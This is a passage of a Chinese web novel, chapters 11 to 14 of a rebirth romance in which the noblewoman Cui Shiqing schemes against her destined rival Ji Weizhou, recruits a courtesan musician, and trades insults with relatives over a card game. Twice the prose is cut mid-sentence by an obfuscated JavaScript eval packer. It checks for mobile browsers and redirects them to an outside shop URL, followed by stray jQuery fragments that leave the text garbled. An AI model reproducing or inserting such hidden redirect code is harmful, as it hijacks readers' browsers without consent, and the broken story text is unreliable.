“为什么砍树,你心里没数吗?”崔时清暗自窃喜,语气还是那般冷淡,周身的气息却柔和了几分,不再那么咄咄逼人。 “这,是有点数的。”纪危舟温润清正地眨了一下眼睛,突然朗声笑着,捧起崔时清的脸,重重亲了一口,眉眼透着不曾见过的张扬与不羁,“可我想软软,还有那两尾金鲫鱼,就也顾不得讲究这来时的路体不体面了。” 崔时清直愣愣地瞅着纪危舟,眼前笑得恣意洒脱的宿敌,让她感到有些陌生。 在她心中,天道之子是个戴着温善假面的虚伪小人。满口仁义道德、清正秉直,实则冷心冷血、十足一个迂腐古板的坏东西。一双眼睛死气沉沉,更让人讨厌得紧。也就是一群傻子,才会看不清他的真面目,拼死跟随,与她作对。 可,自从那夜过后,纪危舟就不太一样了,处处透着古怪,简直是判若两人。 难道真的被鬼怪夺舍了? 岂有此理!她还没报仇呢!什么鬼东西,敢从她口里夺食?! 崔时清眼神犀利地抓着纪危舟的肩膀,用力摇了摇,厉声道:“你是哪来的妖怪,还不给我退下!这是我的人!我的!识相的话,就立刻给我滚蛋!” “……”他的小女娘,还真是敏锐得很。 想起他们纠缠不休的九世,崔时清承诺过‘哪怕烧成灰,也会认得出他!’,纪危舟不由感到一股前所未有的甜蜜,恨不得马上与她真正的,相认。 “软软,是我,一直都是我。” 望着崔时清的眼睛,纪危舟轻声开口。 崔时清的指尖紧紧抠进掌下的皮肉,一瞬不瞬地盯着眼前的东西,声音冷硬地叫骂:“鬼东西!你以为我会相信吗?滚出来!这可不是你待的地方!” 原来,我也可以是、不可替代的那个人啊。 纪危舟一眼不眨地看着崔时清的瞳仁,望着这双专注于他的黑眸,心中升起病态的渴求。 他想要,把这双眼睛、这双手、这整个人,都塞进自己的骨缝中,藏得深深的,严丝合缝。 他还想,毁掉这个世界,让一切都停在此刻。让她的眼中、心中,永远都只有他,不论是爱意、还是仇恨。装满他,就行。 最终,纪危舟只把心中疯狂的、一个个念头,藏了起来。 不能吓跑她。 倾身上前,靠着脆弱单薄的肩膀,纪危舟勾着唇角,说:“真的是我。” 崔时清还是不信。 权贵世家自小接受的教化,大多会伴着人的一生。她不相信一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355197|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原本迂腐古板的人,会在短时间内发生这么大的变化。不止是行为举动,连眼神都大不相同。 纪危舟叹了口气,只好回忆,“你七岁逃课,藏在箱笼里,差点儿被运上通往江北的官船。” “这、这也不是什么秘事,说来有什么用。”崔时清瞪眼嘴硬。 纪危舟的嘴唇蹭了蹭发烫的耳尖,又说:“你八岁打架打输了,半夜扛着玉枕要离家出走,是我在狗洞里找到你的。” “……胡、胡说啊,那是仆役偷运物件的密道,才不是狗洞了!”崔时清羞耻否认。 纪危舟揉了揉小女娘的发丝,叹声气,“你九岁……” “闭嘴!不许说!不许说了!”崔时清气急败坏,双手堵着纪危舟的嘴巴,恨不得捂死他。 “可……” “我信!我信还不成吗?!”崔时清凶巴巴地认输。 这狡猾的东西,就是她的仇人! “成的。”纪危舟不再作妖,端起稳重可靠的老本行,内敛地点了点头。 崔时清看着他装模作样的姿态,委屈得不行。 碰上这玩意儿,怪不得好事都只能发生在梦里! 崔时清倍感心力交瘁,松了手,有气无力地推了推纪危舟,指着不远处的花几,“不是想鱼了吗?去看去看,看完就走,不要烦我了!” 纪危舟瞄了一眼面如菜色的女娘子,听话起身,慢吞吞地走到花几边,正愁怎么哄着崔时清留下他,眼睛一扫昨儿送来的鱼浅,红白相间的两尾金鲫鱼肚皮朝天,四眼安详地漂在水中。 端起残留着鱼饼碎屑的青釉刻花碟子,转身问:“这鱼,是软软喂的?” 崔时清不耐烦地瞟了他一眼,气吼吼道:“我还不能喂了吗?!” 纪危舟又看了一眼撑死的金鲫鱼,点了点头,语气温和地答:“自是可以喂的。只不过金鲫鱼天生不知饥饱,一天两次,每次喂一块鱼饼,两尾鱼儿分食即可。” 崔时清这才意识到什么,趿拉着鞋子,忙上前探看。瞅着圆鼓鼓的肚皮,一动不动的鱼身,默了须臾,忍着伸手戳一戳的冲动,懵懵然地问。 “这就、死了?” 纪危舟抿了抿唇,拉起崔时清的手,说:“只是吃撑,没死。” “真的?”崔时清歪着头,又看了好一会儿,心存疑惑。 纪危舟抱起鱼浅,语气肯定地回答:“真的。我那儿有药,喂它们吃几口,消了食就好。” “那你快回去吧,快走快走。记得躲着点,不要被人瞧见了!”崔时清站直身子,挥了挥手,没有半点留恋。 “软软放心,等我回来就是。”留下这话,纪危舟抱着鱼浅离开。 “回什么回。” 崔时清嘀咕了一声,拿起碟子,怎么也想不起,昨夜究竟喂了几块鱼饼。想不起,她也不为难自己,转身回床,准备再入梦中寻个安慰。 将睡未睡之际,崔时清突然想起一个问题。 ——他抱着鱼浅,怎么爬树? “狗东西!” 睡梦中,她也不忘愤慨地呓语一声,呲着牙又沉入无边处。 11. 美人 美人独坐,指尖轻挑慢捻,化作无尽绵柔的情意,随着眉眼含情顾盼,缠绵婉转的曲调直入人心。 软烟罗帐幔后,崔时清斜倚在美人榻上,半眯着眼,听着魁首娘子许悯儿的琵琶文曲,有些心不在焉。 一曲奏毕,她不想再听缠绵悱恻的调子,托着腮,点了《淮阴平楚》。 雄伟壮阔的战场骤然惊现眼前,在不断渐强的铿锵激昂声中,紧绷的情绪升到极限,随之一个转调,万马奔腾,卷起漫天尘泥,怒吼厮杀声,震天如雷。 崔时清坐直身子,双肘撑在膝上,专注又沉迷地听着,心神俱被许悯儿绝妙动人的双手牵引着,不可自拔。 直到曲终,她看到的是决然赴死的坚毅,和不可击败的傲然。 ——此天之亡我,非战之罪也。 黑眸凄冷地望着帐幔之隔的美人,沉默了许久,崔时清压下那些不断喷涌而出的记忆,也忍着随之漾生的恶念,轻轻地靠在软枕上。 “重赏。” 美人怀抱琵琶,屈膝谢恩。 崔时清的眼睛直勾勾地望着婀娜的身段,兴起一股恶趣味,轻笑着问道:“我观娘子正值花季,却有如此高超的技艺,不知师承何处?” “奴家有幸得关山居士指点数日,但人微愚钝,不敢以弟子之名自处。”许悯儿垂首答话,动静之间,让人赏心悦目。 不敢以弟子之名自处,却敢用居士名号行走京都? 上一世,魁首娘子许悯儿因着这数日师徒关系,得诏入宫,为皇后生辰助兴。一曲名动京都,成为权贵争先追捧的乐师,更因出众的容貌,惹得许多青年俊秀争风吃醋。 名声大噪之后,许悯儿端起居士的清高,拒绝了许多应酬邀请,标榜以琵琶会友,讲究缘分。好在她平素待人处事、圆滑周到,是以非但没有惹怒权贵,更是招得青俊们魂牵梦萦。 崔时清记得,这位魁首娘子的入幕之宾,就有纪危舟。 人人都道,纪家三郎和魁首娘子共处高阁,以曲述情、以诗神会,真真是对儿让人生不出嫉恨的才子佳人。 崔时清有一下没一下地拨弄着象牙盒子里的珍珠,弯唇讥笑了声。 “我和娘子一见如故,也不知应该送些什么与你,才能表达我之倾慕。” 许悯儿施施然又行了一礼,眉眼间从容依旧,“得一知音人,胜过千万金。” 崔时清的声音轻轻柔柔,桃花眼却多了些厌烦,懒洋洋地说道:“虽说如此,但只与知音人些许俗物,倒是让我很不安。” 许悯儿:“县主盛赞,已是最大恩赐。” 崔时清眉眼一冷,拂落象牙盒子,数十颗圆润莹白的珍珠落地,激散四方,软烟罗帐幔在一阵清脆声响下,颤颤巍巍、时起时落。 颤动的还有花厅内的婢女,与怀抱琵琶、垂眸抿唇的许悯儿。 崔时清的声音平平,没有一丝起伏,“沧海珠子无瑕,只可惜我一时失手,让它们沾了尘沙,也相配不了许娘子了。” 许悯儿的内心并不如面上平静,她深知真正惹怒权贵,会遭受到什么样的厄运。如果可能,她愿意跪下求饶。 但是不能。 她费尽心思、忍受了无数痛苦,才在京都稍稍扬名,占有一席之地。这靠的,有她的技艺、她的容貌,还有立于泥沼之地、傲然不屈的脊骨。 身份低微却又清高自持,是她身上,最令京都权贵着迷的东西。 她,不能丢掉这张筹码。 哪怕为此付出代价,只要足以苟活、完成未尽之事,她便能忍耐。 “本为同根,又谈何蒙尘之过?”许悯儿抬起头来,第一次直视着帐幔后,高高在上的贵女,“县主若愿赐予,我自当却之不恭,叩拜谢恩。” 崔时清看了许悯儿许久,却是有些钦佩她的沉稳了。 收敛起浑身的戾气,她又端着‘知音人’的爱惜之心,好声好气地表达出自己的意外,“你虽谦逊,我却不得失礼。” 拾起了手边散落的珍珠,端详了几眼,南海珠子饱满圆润,很是惹人喜爱。她笑了笑,把珍珠递与桑麻。桑麻得来指示,捧着那颗珍珠,从侧帘而出,送到许悯儿的手中。 崔时清饶有兴致道:“方才是我之过,作为赔罪,若有一日,你有所求,就拿着它来见我。” 许悯儿握着微凉的珠子,掌心有些湿濡,静了一瞬,垂眸答谢。 “县主知遇之恩,奴家必不敢忘。” 崔时清目露欣赏地看着许悯儿,过了片刻,才道:“许娘子气度不凡,倒不像是平民女子出身。” 许悯儿莞尔笑着,“县主谬赞。奴家来自市井,再是如何刻苦,也比不上高门女使,哪敢在县主面前班门弄斧了?” 崔时清瞥了她一眼,意味深长地说道:“真是、一张巧嘴。” 许悯儿只把这当成夸赞,不作深思,回忆道:“二月春时,奴家有幸得见县主在蹴鞠场上大杀四方,真是让人艳羡不已。” 崔时清想起年后与数名世家女同办了一场春日游,骑马射箭、品饮花酒,还组办了一局蹴鞠赛,请来教坊司的艺人歌舞助兴。 大杀四方言过了,但她确实玩得很开怀。崔时清砸巴砸巴嘴,有些蠢蠢欲动。 这几天可把她憋坏了。 今日国公府请来戏班子搭台唱戏,她都没去成!说来说去,都怪那狗东西!牙尖嘴利的,招人烦! 崔时清掩下眼中的烦闷,思忖着,说:“原来你也在啊,怪不得那一曲缕缕金利索飒爽,让人通体舒畅。” 许悯儿掩唇笑了笑,“县主把奴家赞的,都找不着西北了!” 崔时清抿了口紫苏引,润了润喉,眸光幽沉地觑着影影绰绰的窈窕娘子,漫不经心地感慨道:“不必过分自谦,许娘子的技艺,入宫献曲也不在话下。” 许悯儿愣怔了一瞬,表情很是意外。 崔时清这时才觉得,让四表兄纪深云送来的这个消遣,有了点趣味。 她也实在是腻烦了与这样滑不溜丢的女娘虚与委蛇,没意思透了!也就是纪危舟那狗东西,絮絮叨叨的秉性,会乐在其中。 崔时清暗啐了一声,直截了当地说:“入宫还须晚些时候,十五日,寿安长公主办了个诗会,你可有兴趣?” 握着琵琶的长指微微收力,还是诧异的神情,但气息却不复方才的平顺。 在更加长久的等待下,崔时清确认了心中猜想。 ——长公主与她,存了些不为人知的龃龉啊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13370391|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魁首娘子与纪家三郎? 在八世斗争里,崔时清很清楚,除了天道之力的偏帮,跟随在纪危舟身边的男男女女,都在助力着他、护着他。 这些人为了什么,崔时清不得而知。但可以让纪危舟那狗东西一而再、再而三地进入教坊司中,也许有男欢女爱之事,却不仅如此。 许悯儿一定有什么不同之处,掌握了足够的筹码。 而现在,这些东西都将会是她的。 崔时清无声笑了笑,对于这个意外的收获,感到十分满意。 许悯儿内心波动之后,很快冷静了下来,瞅着那位在京都贵女中,名声并不好的永宁县主。 娇奢无度、心肠恶毒。 她不仅不是许悯儿想要的人,更是她最憎恨的那一类权贵。 单单是县主之名,许悯儿并不那么在意。可她实在太会投胎了,崔氏嫡女与国公府表亲的关系,让许悯儿有些动摇。 深思熟虑许久,许悯儿觉得,此人还是可以利用的。 说是利用,她其实更明白,是暂时的合作,双方都必须有所付出。然而地位的不对等,意味着她必须要先低头上贡,才可以维系彼此的关系。 许悯儿垂首屈膝,下了决断。 “奴家愿为县主、与长公主府中贵人添趣。” “很好,十五那日,我会派人来接悯娘子的。” 崔时清让若兮准备茶饭,照料魁首娘子用过夕食,再送回教坊司。便自顾自地,负手身后,昂首挺胸心满意足地离开花厅。 崔时清高高兴兴,还没走回里屋,就见玄鱼抱着山鸡走来。 在城中教宠所修整过后的鸡皇,一双瞪圆的豆眼炯炯有神,威风凛凛,随时可以入场斗上几局。 崔时清没想过,这只山鸡还能与她,活着对上眼。 无语了片刻,崔时清看着鸡脖上的金线编织的套绳,又看向玄鱼兴致冲冲的眼神,一言难尽地问:“谁给它套的这东西?” “教宠所送回来就配了的,连带着还有爱宠的一应物事,都给送来了。”玄鱼抱着院子里的第一爱宠,脸颊红扑扑的,很激动。 她有了一只漂亮威风的鸡皇可以侍弄,再也不用眼馋五姑娘院子里的狸猫啦! “蠢货。” 崔时清忍不住骂了一声,红鸡头一抽一抽的,像在回应她,咯咯叫了声。崔时清瞪了一眼,山鸡顿时瑟缩着头,往玄鱼肚里钻。崔时清捂了捂眼,怒其不争地骂道。 “呆瓜!看了没问题,就把它炖了啊!抱来我跟前做什么!” “炖、炖了?主子,不能养着它吗?”玄鱼心疼坏了,顺了顺鸡皇的长尾,眼巴巴地瞅着崔时清。 “……”养什么玩意?啊?! 崔时清气得脑壳痛,还没发作,玄鱼的眼泪珠子就啪嗒啪嗒地砸在鸡冠上,鸡皇豆大的眼睛,也直勾勾瞅着她,带着浓浓的控诉。 崔时清深吸了几口气,颤抖的手指了指呆头鱼,又指了指傻山鸡,恶狠狠地威胁道:“要养可以,把你的吃食分给它,饿了肚皮,不许找我哭!” “多谢主子!”玄鱼大喜,抱着鸡皇认认真真磕了个头,鸡皇叫的咯咯哒。 崔时清咬牙切齿,气哄哄转身就走。 12. 不欺 崔时清吨吨吨灌了碗汤药,担心生气影响药效,只得心平气和、无悲无喜地窝在摇椅上修养身心。 伴着幽淡的荷香,任由窗格间投入的光影斑驳地洒在面上,昏昏沉沉之际,桑麻弯着腰入内,小声询问。 “大掌柜来了,可要现在召见?” 大掌柜崔竹,从崔氏主家跟来的家生子,负责经营她名下的庄园店铺。能力出众、又有分寸,很得崔时清的看重。 她睁开眼皮,缓了缓神,想起崔竹开春后便南下做生意,已有段时间没有见他了,便点点头。 桑麻领命,如来时一样,轻手轻脚地离开。 过了片刻,领来捧着一个檀木盒子、身着藏青袍子的中年管事。他们身后还跟着数名老妈子,垂首屏息抬着几口大箱,听着桑麻的指挥,放在不远处的博古架下,就规规矩矩退了下去。 崔竹站在崔时清的侧手边,弯腰拜了一礼,把装着账册的盒子打开,双手奉上。 “主子,这是近半年的账册。小人还收罗了一些新奇玩物,您闲来时可作把玩。” 崔时清随手取来面上的那册,放在膝上。香料铺子的账面事无巨细、条理清晰,慢吞吞地翻了几页,便把账本放回盒子里。微微颔首,示意他交与桑麻。 崔时清扫了一眼她的大掌柜,来前已收拾了一番,但眼下的青黑,还透着多日奔波的倦色,随口问了句。 “行程还顺利吗?” “当地商会有些阻碍,小人请来知州从中调解,现下江南销路已打开。新店铺也快完工了,等您选好日子,就可正式开业。”说话间,崔竹面上多了几分鲜活,很满意这半年的成果。 崔时清若有所思片刻,问:“知州是、蔡家的人?” “吏部尚书蔡岐的大舅哥杨晨,寒门子弟出生,还是颇有才干的。” 崔时清想起,老尚书去年续弦了一位小二十岁的貌美寡妇,夫妇琴瑟和鸣,过得很滋润。她还坏心眼地取笑过手帕交蔡梦期,问她欢不欢喜多了位年轻的祖母,惹来一顿好打闹。 崔时清忍俊不禁地笑了笑,多问了一句,“可回了礼?” “自是回了。小人连蔡家长媳杜氏和继室夫人杨氏的礼都备下了,就是不知该不该送。”崔竹一脸为难。 崔时清不甚在意,“无妨,你且去办。杨晨为我们出了力,给他姊妹长几分颜面,也是应该的。” 之前,她顾忌蔡家关系复杂,避讳着杨氏,但江南的生意却再没了知州相助。 这一世,她要长命百岁,争取把纪危舟熬死,想来处处都少不了钱财。故而与蔡梦期结交可以,就是不能再损了财道! 崔时清淡然地想。 大不了给她捶几拳,反正也不疼。 有了这话,崔竹总算松了口气,连忙保证道:“小人定把此事办得漂亮,不让主子为难。” 崔时清多看了崔竹一眼,思忖着开口道:“江南的生意你用心了。想要什么,我都可赏你。” 崔竹沉默了片刻,双手作揖,压弯的腰凸显出消瘦的背脊,让这位四十有余的崔家管事平添了几分苍老。 “玉松是个不争气的东西,可小人仅剩这么一个养子了,还请主子随意打骂,且留他在身边继续伺候吧。” 意料之内的要求,崔时清没有什么表情地瞅着跟前的大掌柜。 崔竹父母早逝,妻子生下一子便血崩而亡,他立誓不再续弦,一心照养着儿子,可是厄运依旧没有放过他,独子三岁时走丢。 他寻遍大江南北还是一无所获,归来时在路边碰上了弃儿,寒天腊月冻得面色发紫却见他就笑。崔竹将他捡了回去,取名玉松,自此养在身边,当作亲子看待。 崔时清本也以为崔竹疼爱玉松入骨,故而为了这个养子,甘愿替她鞍前马后。后来才知道,她还是小瞧了这位大掌柜的野心。 她求的是忠心,既然已经知道崔竹想要什么,再拿着个假‘质子’,也无甚意思。 由此,崔时清欣赏了一会儿大掌柜的演技,才懒散地说道:“玉松我用得不趁手,你且把他领回去吧。” 崔竹猛然抬头,面目惊愕地看着崔时清,一时拿不准她的心思,也不敢轻易试探,想也不想就道:“是小人僭越,主子切勿……” 崔时清抬手打断了他,直视大掌柜的眼睛,开口道:“我自是信任,才会把一应要事都托付于你。大掌柜年岁渐长,总有不便的时候,我还指望你替我开拓江南的生意,让玉松在你身边尽孝,我也可安心。” 崔竹神色怔然,一时不知要如何回应。 没了玉松,小主人还是信任他的? 他阿爹也是崔家掌柜,虽然只打理着一家小小的米铺,却是崔竹最钦佩的人,而他也从很小的时候开始,就对经商产生了浓厚兴趣。 阿爹说,若想让主人重用,可不能仅凭家生子的名头。你还需要拥有一个弱点,可供主人拿捏,才有可能爬到大掌柜的位置。 玉松,就是一个很恰当的‘弱点’。 他疼爱玉松不假,但比起心中的志向,还是少了点。 或许,从妻子离开的那一刻起,除了实现抱负,他的内心就再没有因任何人而动摇过。 “主子,我……”崔竹很想说些什么,张了张嘴,却半天也挤不出一句话来。 崔时清面露倦怠地摇了摇手,“多思无益,下去吧。” 崔竹了然,伏身一拜,退了下去,步伐少有的轻快。 * 入夜,崔时清瞅着书案上的账本,眼神幽怨,却没有躲懒的想法。 这些账本没有什么大问题,她也曾算了好几遍。 但无论如何,都不能对经手的账册,存有半分敷衍。世家自小的教诲,让她无法省略这道繁琐的工序。 低头逐行看着出入账的明细,左手轻快地拨弄红珊瑚如意算盘,辛劳了一个多时辰,完成不到一半。 崔时清提笔写下几点疑处,夹在账册里,才揉了揉发酸的肩颈,暗叹了一口气。 一双大掌突然探来,她惊了一下,连忙转头望去,就看到一张笑嘻嘻没正行的大脸,凑在跟前。崔时清默默揉了揉心口,声音有气无力地骂道。 “在这儿装模作样的吓唬谁?!” 纪危舟眨了一下眼,把书案上的香茶端给崔时清,好笑道:“软软不是连鬼 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纪危舟强词夺理道:“不能,要强可娶不来你的。” 崔时清无语片刻,又觉得他说的有几分道理,很快就摆正了自己的立场。 原本就是想把天道之子养歪,现在这厮不正经的嘴脸,已然歪得不行,也算是她的一大胜利吧。 是,是吧? 崔时清坚定地点了点头,还是决定要把这条道走到黑、再瞧瞧。 崔时清斜眼瞥了一下纪危舟,慢声慢气地规劝道:“不要强是对的,再学会不要不请自来,那就更好了。” 纪危舟不以为然地反驳,“我们约好了相见,如何能算不请自来?” 崔时清冷笑了声,反问:“谁同你约定了?” “软软和我约定的!还有两尾鱼儿从旁作证!”纪危舟气定神闲地指了指双方,又点了点不远处的鱼浅,扬着下颌,嚣张地指认。 虽说此鱼儿,非彼鱼儿,想必鱼鱼想通。 纪危舟自顾形成了一套牢不可破的死理,成功说服了自己。 崔时清被他这可以上天的嘴脸惊着了,双手叉腰,骂道:“金鲫鱼又要怎么作证啦?!你让它们开口,开了口我就认!” 纪危舟别无他法,只能无理取闹。死死抱着崔时清不松手,就差撒泼打滚,偏要她认下这些无稽之谈。 念经一样,反反复复在她耳边嘟嘟囔囔、乖乖软软的说个没完,崔时清听多了,就像被勾了魂,莫名其妙就认了下来。 直到回过神来,再怎么懊悔也于事无补,只得咬了咬牙,输人不输阵地牵起一个饱含深意的笑容,盯着纪危舟。 “你来的,还是有点晚了。” 我要这样,利用一切先知,一样样地夺走本该属于你的东西。 让你在这儿傻乐!哼! 纪危舟也跟着笑了笑,唇瓣覆在她的耳垂上,在一阵轻颤下,启唇含住了那口软肉,以无尽缠绵的爱意,低语着。 “无妨,我还有很多时间,可以慢慢地补偿软软……”的辛劳。 13. 博戏 闲得快长蘑菇的崔时清,收到老四纪深云博戏的邀约,连忙命人装了一小箱注码,兴致冲冲地赶到园子。 纪家四郎的生母王姨娘是勾栏出身的清倌,凭借解语花贴心暖肺的好手段,一举拿下国公爷纪光。 儿肖其母,纪深云脑瓜子灵机应变,勾栏瓦舍里就没有他玩不转的玩意。凭着天赐的才能,常年领着亲贵子弟混迹瓦舍,打狗斗鸡、博戏买卖,悄摸摸地攒了不少家底。 崔时清准备了丰厚的注码,也因纪深云太会来事,比起得趣,输赢就不那么重要了。 园子中间搭建了竹屋,四面开满重瓣牡丹,花形丰满、香气馥郁。 沿着小径而入,还没来得及感受冰盆的凉爽,便看到了几张碍眼的面目,崔时清轻松的表情顿时沉了下来,不快地瞅着纪深云,目露责怪。 “你在跟我玩是吧?怎么把他们也喊来了!” “……表妹,我这也没办法啊。”纪深云压低了声音,面露苦色地解释,“母亲特意交代了,让你多与家中姊妹往来,尽快开解了儿时的小矛盾,免得惹来旁人笑话。” “!” 她的好舅母突然之间作什么妖? 崔时清心情不好,根本不想讲理,“我不管!今天是你捣鬼,就别怪我不客气。” 纪深云扒拉着崔时清的衣袖,都快哭了出来,“姑奶奶,您真是找错冤家了啊!” 崔时清抽回衣角,残忍地提醒道:“杀鸡儆猴,你可知道?!” “……我忙活一场,却得了个里外不是人。”纪深云生无可恋地仰头长叹。 崔时清懒得理他。 没得来切实好处,这滑头会乖乖上赶着卖力?她才不信。分明是把她买了,还数过钱了! 纪舒明盘坐在蒲团上,无聊地祸害着矮几上的牡丹,粗声粗气道:“你们两个青天白日,在角落鬼鬼祟祟做什么?” 一肚子火正愁没处撒,就有人上赶来了,崔时清拍了拍手,准备真正地大杀四方一场。 “大白天碰上脏东西了,还不得躲着点?” 纪舒明拍案而起,“你骂谁呢!” 崔时清皮笑肉不笑道:“谁应就骂谁。” 纪舒明怒目圆睁,“你这毒娘子!” 崔时清捂唇打了个哈欠,斜睨着他,游刃有余地回击,“下里乡的田舍汉,五大三粗的莽夫,你这一身黑皮子是刚滚完野地回来的吧。” “崔时清!” 不知为何他会和祖父长得一模一样,粗狂又野性,怎么都养不好一身糙肉。 国公府上下的郎君,除了他,各个都长得像外面抱来的,如此一来,反倒是他最惹眼,也最难看了! 纪舒明心里苦不堪言,委屈地揉了揉鼻子,控诉道:“崔时清,你怎么可以这样?明明之前都说好了,骂什么都不能骂我黑!你这女娘说话不算话,没有信用!” “谁先骂我毒的?”崔时清的眼神难得温柔,笑盈盈瞅着他,“懒得与你说道,悠着点?一个郎君叽叽喳喳地要吵死人了。” 纪舒明眼睛发红,快要被气得升天。 “表姐何必如此?兄长只是问一句,哪值得你与他生气了?” 许姨娘的女儿纪澄雨向来知道审时度势,不敢轻易招惹崔时清,这会儿不知怎么,却突然出起风头。 崔时清看着纪澄雨温温柔柔,无辜地眨巴着水润的眼睛,小白花一样的脸蛋直冲着她说话,忍不住嗤笑了一声。 “我不骂他,骂你可好?驴粪蛋子表面光,中看不中用的东西,也敢来我跟前讨骂了?” 纪澄雨何时和驴粪蛋有过牵扯,登时羞得满脸红,一双眼睛雾蒙蒙地颤声道:“……崔氏怎么就出了你这样粗俗的后辈!” “哦,羡慕吗?投胎赶早,这就去护城河排队吧。”崔时清挑眉笑着。 纪澄雨哭唧唧地扑到许姨娘的怀里,“姨娘,你看看她!我不要、我不要阿兄娶她!” 崔时清意外发现了真相。 ——这些麻烦,原来都是纪危舟那狗东西招来的啊。 可真是,有点离谱了。 崔时清心不在焉地看着这场闹剧,心道也不知前几日戏班子演了什么,把这一个个的唱得五迷三道,做起了白日梦。 许姨娘不动声色打量了崔时清许久,怎么看都不满意。嚣张跋扈、娇奢傲慢,崔氏女又如何,恶名远扬,哪里比得上兵部尚书家的嫡孙女? 陈家与国公府也有姻亲关系,嫡孙女陈柔欢更是京都有名的才女,为人谦和恭顺,对着她从来都是客客气气、礼遇有加的。日后嫁入国公府来,也会记得孝敬她这位阿娘。 可偏偏却出了变故,三郎不知怎么的,居然要与崔家时娘成婚! 许姨娘想起这事,好几夜都没睡好,急得唇角都生了燎泡。好不容易在主母陈芝岚的劝慰下,平复了心情,赶来试探试探这个‘未来儿媳’。 没曾想不到一盏茶的功夫,这女娘欺负人都欺负到了她的跟前,许姨娘憋了一肚子话,还是没能忍住,冷着面色提点道。 “表姑娘年岁小小的,还是不要戾气过重的为好。” 崔时清诧异地看着许姨娘,不知道这小小姨娘哪来的底气,在这里阴阳她? 仰头看了一眼天色,表情古怪地瞅着许姨娘,诚心发问:“莫不是日头太毒了?姨娘怎么脑子发昏,在这儿说起胡话了?” 许姨娘气得面色发白,不敢置信道:“你再如何身份尊贵,也是小辈,怎能如此与我说话?” 崔时清把目光移向看了许久好戏的王姨娘,与她四目相对,懵懵然地歪着头问:“你说,她是不是病得不轻了?” 姨娘再是受宠,也不过是家中金玉好物养来的奴,生下的子女更是算不得她的,只可认正妻为母。 越是高门,越是忌讳妻妾不明,但凡有宠妾灭妻、扶正妾室的丑闻传出,都会辱没一氏全族。 因而像崔氏这样的百年世家,不是谨遵老祖宗的教诲、严管妾室;就是与她阿爹一样,不纳妾室通房。 崔时清从没想过自己会遇上眼下的这种局面,震惊之下,更是百思不得其解。 她家阿舅莫不是犯了糊涂,私下里许了什么不得了的东西?崔时清有些担忧。 扑哧一声,王姨娘拿着帕子掩唇,无声地笑得浑身颤抖。 她也是姨娘,理应与许氏同心同德才对味。但崔时清面上的困惑实在太过真切,让她无法冷静直视,不笑出声来,已是她 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“好吧,那就坐着。”崔时清在纪深云的服侍下,坐了下来,扫了一眼矮几上的纸牌,勾唇问,“叶子戏呀?你们想怎么玩?” 崔时清教训‘未来婆婆’,纪舒明不好掺和,已是闲了半晌,这会儿自然耐不住,指了指她身后的那一箱注码,准备全赢过来解解气。 “老规矩,注码输光的就把身上的配饰都摘下,分与其他家。” 破财又丢面,正适合他们这群对头。 崔时清托着腮,觑着纪舒明一身轻简,嘲讽道:“怪不得二表兄这副装扮,原来是怕输啊。” 纪舒明深吸了几口气,不想入赌局前坏了心性,影响财运。突然灵光一现,凑上前问:“送去的山鸡,你可还喜欢?” 侍立在身后的桑麻,顿时暗呼不妙。 崔时清扫了一眼贱兮兮的嘴脸,心头一紧,直觉自己定是被暗害了,面上却故作泰然。云淡风轻地吃了几口水鹅梨,才抬着下颌,迎上饱含期待的长吊眼,傲慢地点评。 “病病殃殃的没几两肉,喂鱼都不够,我还以为会收到山大王呢。也罢,山鸡也占了一个字,我不该为难二表兄。” 纪舒明重重呼着气,心肝疼得骂了一声,“……吃还堵不住你这张破嘴了!” 老虎是他不想送吗?!知道为难人还讲! 崔时清斜睨了他一眼,点了点矮几上的叶子牌,“几人上桌?” 纪深云连忙答:“四人,还有我姨娘和五妹。” 崔时清抚了抚腕上的金莲手串,看着纪澄雨不自觉跟随的目光,意味深长地笑了笑。 这是吴氏的陪嫁,还得过高僧开光,纪澄雨眼热了许久,却没想到落入了崔时清的手中。想着这场赌局,她心跳加速,眼神中的热切几乎要化成实质,把金莲手串视为了己物。 崔时清看着纪澄雨的神情,笑着唤来了桑麻。 “把钱箱子送回丹青院,再让人把我的三表兄请来,哦,记得让他多带些注码。” 在场之人都瞪大了眼睛,许姨娘和纪澄雨的面色尤其难看。 14. 戏耍 纪深云抚着额角,无奈地问。 “……表妹这是何意?”又想折腾什么花活! “不会是不敢赌吧?”纪舒明粗声粗气地嘲讽她。 许姨娘母女则面色铁青,不敢相信崔时清怎会如此不知羞,婚前就敢把郎君当作钱箱子,随用随取了? 王姨娘没有别的,就是兴奋。哪怕今天一输三,她也觉得值得了。 崔时清一一扫过众人面目,轻笑了声。 叶子戏,她玩得不太好,今天本就是来撒钱寻欢的。但这场赌局既是纪危舟招来的,她得不来半点意趣,又怎么能由她来做这散财娘娘? 她输得起,却不甘当这冤大头。 崔时清慢悠悠地吃着冻果子,在热切的注视下,解释道:“你们也知道我近来病了一场,精力不足,且让三表兄替我上桌。” 许姨娘慈母心肠,第一个站出来反对,“不可!三郎何时摸过这叶子牌了?表姑娘还是另寻他人来替吧。” 崔时清不甚在意地挥挥手,“三表兄聪明绝顶,区区叶子戏而已,哪里难得住他?” 这是聪明的问题吗? 许姨娘因着膝下儿郎的美名,连府外的夫人都对她多几分看重。眼看着儿郎和京都有名的恶女有了牵扯,已坏了姻缘,可不能再沾惹上不务正业的博戏,白白折损了白玉无瑕的好名声。 